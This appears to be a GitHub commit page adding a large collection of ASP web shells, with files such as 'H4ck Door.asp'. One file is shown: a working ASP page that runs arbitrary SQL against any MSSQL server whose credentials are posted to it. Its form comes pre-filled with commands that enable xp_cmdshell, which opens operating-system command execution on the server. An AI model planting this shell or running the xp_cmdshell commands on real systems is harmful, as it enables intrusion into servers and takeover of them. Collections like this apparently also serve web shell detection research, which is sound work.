Skip to content

Commit 2ed4a18

Browse files
committed
Initial commit
0 parents  commit 2ed4a18

2,361 files changed

Lines changed: 1327594 additions & 0 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

Data/WebShell/asp/1.asp

Lines changed: 14 additions & 0 deletions
Large diffs are not rendered by default.

Data/WebShell/asp/H4ck Door.asp

Lines changed: 46 additions & 0 deletions
Large diffs are not rendered by default.
Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
<%
2+
Dim Sql_serverip,Sql_linkport,Sql_username,Sql_password,Sql_database,Sql_content
3+
4+
Sql_serverip=Trim(Request("Sql_serverip"))
5+
Sql_linkport=Trim(Request("Sql_linkport"))
6+
Sql_username=Trim(Request("Sql_username"))
7+
Sql_password=Trim(Request("Sql_password"))
8+
Sql_database=Trim(Request("Sql_database"))
9+
Sql_content =Trim(Request("Sql_content"))
10+
11+
If Sql_linkport="" Then Sql_linkport="1433"
12+
13+
If Sql_serverip<>"" and Sql_linkport<>"" and Sql_username<>"" and Sql_password<>"" and Sql_content<>"" Then
14+
15+
Response.Write "<hr width='100%'><b>执行结果如下:</b><hr width='100%'>"
16+
Dim SQL,conn,linkStr
17+
SQL=Sql_content
18+
19+
set conn=Server.createobject("adodb.connection")
20+
If Len(Sql_database)=0 Then
21+
linkStr="driver={SQL Server};Server=" & Sql_serverip & "," & Sql_linkport & ";uid=" & Sql_username & ";pwd=" & Sql_password
22+
Else
23+
linkStr="driver={SQL Server};Server=" & Sql_serverip & "," & Sql_linkport & ";uid=" & Sql_username & ";pwd=" & Sql_password & ";database=" & Sql_database
24+
End If
25+
conn.open linkStr
26+
27+
' "Driver={SQL Server};SERVER=IP,端口号;UID=sa;PWD=xxxx;DATABASE=DB"
28+
29+
conn.execute SQL
30+
31+
on error resume next
32+
33+
if err<>0 then
34+
response.write "错误:"&err.Descripting
35+
else
36+
response.write Replace(SQL,vbcrlf,"<br>") & "<br><br>成功!"
37+
end if
38+
39+
Response.End
40+
41+
End If
42+
43+
If Request("do")<>"" Then
44+
Response.Write "请填写数据库连接参数"
45+
Response.End
46+
End If
47+
48+
%>
49+
50+
<html>
51+
<head>
52+
<meta http-equiv="pragma" content="no-cache">
53+
<meta http-equiv="Cache-Control" content="no-cache, must-revalidate">
54+
<meta http-equiv="expires" content="Wed, 26 Feb 2006 00:00:00 GMT">
55+
<title>MSSQL语句执行工具</title>
56+
</head>
57+
<body>
58+
59+
<hr width="100%">
60+
61+
<form method="post" action="<%=Request.ServerVariables("SCRIPT_NAME")%>?do=exec" target="ResultFrame">
62+
<table border="1" width="100%">
63+
<tr>
64+
<td colspan="2" align="center">
65+
<font size="5"><b>MSSQL语句执行工具asp版</b></font>
66+
</td>
67+
</tr>
68+
<tr>
69+
<td>
70+
<table border="1px">
71+
<tr><td colspan="2" align="center">数据库连接设置</td></tr>
72+
<tr><td width="80">SERVERIP:</td><td><input type="text" name="Sql_serverip" style="width:150px;"></td></tr>
73+
<tr><td width="80">LINKPORT:</td><td><input type="text" name="Sql_linkport" style="width:150px;"></td></tr>
74+
<tr><td width="80">USERNAME:</td><td><input type="text" name="Sql_username" style="width:150px;"></td></tr>
75+
<tr><td width="80">PASSWORD:</td><td><input type="password" name="Sql_password" style="width:150px;"></td></tr>
76+
<tr><td width="80">DATABASE:</td><td><input type="text" name="Sql_database" style="width:150px;"></td></tr>
77+
</table>
78+
</td>
79+
<td width="100%">
80+
<DIV align=center
81+
style='
82+
color: #990099;
83+
background-color: #E6E6FA;
84+
border: solid 2px black;
85+
width: 100%;
86+
height: 180px;
87+
scrollbar-face-color: #DDA0DD;
88+
scrollbar-shadow-color: #3D5054;
89+
scrollbar-highlight-color: #C3D6DA;
90+
scrollbar-3dlight-color: #3D5054;
91+
scrollbar-darkshadow-color: #85989C;
92+
scrollbar-track-color: #D8BFD8;
93+
scrollbar-arrow-color: #E6E6FA;
94+
'>
95+
<textarea name="Sql_content" style='width:100%;height:100%;'>EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE</textarea>
96+
</DIV>
97+
<input type="submit" value="执行命令">
98+
</td>
99+
</tr>
100+
</table>
101+
</form>
102+
103+
<hr width="100%">
104+
<iframe name="ResultFrame" width="100%" height="200" src="<%=Request.ServerVariables("SCRIPT_NAME")%>?do=exec"></iframe>
105+
</body>
106+
</html>

Data/WebShell/asp/as.asp

Lines changed: 2078 additions & 0 deletions
Large diffs are not rendered by default.
Binary file not shown.
Binary file not shown.
Binary file not shown.

0 commit comments

Comments
 (0)